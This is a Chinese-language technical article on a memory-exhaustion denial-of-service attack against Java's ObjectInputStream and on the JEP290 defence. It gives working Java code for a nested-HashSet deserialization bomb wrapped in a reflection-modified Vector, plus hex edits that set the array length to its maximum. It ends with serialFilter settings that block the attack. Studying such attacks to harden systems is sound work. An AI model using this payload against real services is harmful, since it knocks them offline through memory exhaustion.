Java反序列化机制拒绝服务的利用与防御
字数 1536 2025-08-10 08:29:06
Java反序列化机制拒绝服务的利用与防御
前言
本文详细分析Java反序列化机制中一个可利用手工构造序列化数据来虚耗内存的问题,以及相应的防御措施。该问题通过构造特殊的序列化数据,可使ObjectInputStream.readObject方法卡住并占用大量内存,导致拒绝服务攻击。
问题概述
通过输入简单修改过的序列化数据,可以实现:
- 占用任意大小的内存
- 结合其他技巧使
ObjectInputStream.readObject方法卡住 - 占用的内存不被释放
- 导致其他正常业务进行内存申请时报
OutOfMemoryError异常
该问题效果与Fastjson拒绝服务问题类似,可通过配置JEP290机制进行防御。
技术分析
反序列化数组的内存消耗问题
在反序列化数组时,ObjectInputStream.readArray方法会:
- 从InputStream读取数组长度
- 按照数组长度创建数组实例
- 依次从流中读取数组元素
关键点:
- 数组长度直接从输入流中读取,无法预先验证剩余数据大小
- 攻击者可修改序列化数据中的数组大小字段,强制分配超大数组
- 在创建数组实例时就会消耗大量内存
反序列化炸弹技术
为了使反序列化过程不因数据不足而报错退出,需要使用"反序列化炸弹"技术:
- 构造一个特殊的多层HashSet对象
- 该对象在反序列化时会一直执行,不会报错
- 将炸弹对象作为数组的第一个元素
- 使反序列化过程卡在第一个元素的处理上
相关资源:
攻击实现
序列化数据构造
使用Java的Vector类进行构造,因为它:
- 内部使用Object数组
- 支持序列化
- 可通过反射修改内部数组
构造步骤:
- 创建反序列化炸弹对象
Set<Object> root = new HashSet<>();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet<>();
for (int i = 0; i < 100; i++) {
Set<Object> t1 = new HashSet<>();
Set<Object> t2 = new HashSet<>();
t1.add("foo"); // 使t1不等于t2
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
- 创建Vector并修改其内部数组
Vector<Object> vec = new Vector<>();
Object[] objects1 = new Object[123]; // 初始长度123
objects1[0] = root; // 设置第一个元素为炸弹对象
// 通过反射修改Vector的内部数组
Field elementData = vec.getClass().getDeclaredField("elementData");
elementData.setAccessible(true);
elementData.set(vec, objects1);
- 序列化Vector对象到文件
修改序列化数据
使用十六进制编辑器修改序列化数据中的数组长度字段:
- 原始长度:123 (十六进制 00 00 00 7B)
- 修改为:2147483645 (Java允许的最大数组长度,十六进制 7F FF FF FD)
工具替代方案:可以使用SerialWriter工具自动生成
反序列化攻击效果
-
内存消耗:
- 会调用
Array.newInstance创建指定大小的数组 - 单次可分配约8GB内存
- 通过多层Vector包裹可不断扩大内存占用
- 会调用
-
运行结果:
- 设置
-Xmx8100M:直接OOM - 设置
-Xmx16100M:readObject卡住并占用大量内存
- 设置
防御措施 - JEP290机制
JEP290简介
Oracle从以下版本开始支持JEP290:
- JDK 8u121
- JDK 7u131
- JDK 6u141
JEP290提供多种防御参数:
maxdepth=value- 对象图的最大嵌套深度maxrefs=value- 内部引用的最大数量maxbytes=value- 输入流的最大长度maxarray=value- 最大数组长度
配置方式
- 通过系统属性:
-Djdk.serialFilter=maxarray=100000;maxdepth=20
- 通过安全配置文件:
在conf/security/java.properties中设置:
jdk.serialFilter=maxarray=100000;maxdepth=20
防御原理
针对本攻击的有效配置:
maxarray限制数组最大长度maxdepth限制对象嵌套深度
结论与建议
- Java序列化机制广泛使用,存在多个已知的反序列化输入点
- 虽然JEP290推出已久,但实际开启使用的系统不多
- 攻击者通过精心构造数组长度,可以最大化内存消耗
- 强烈建议Java业务系统开启JEP290防御机制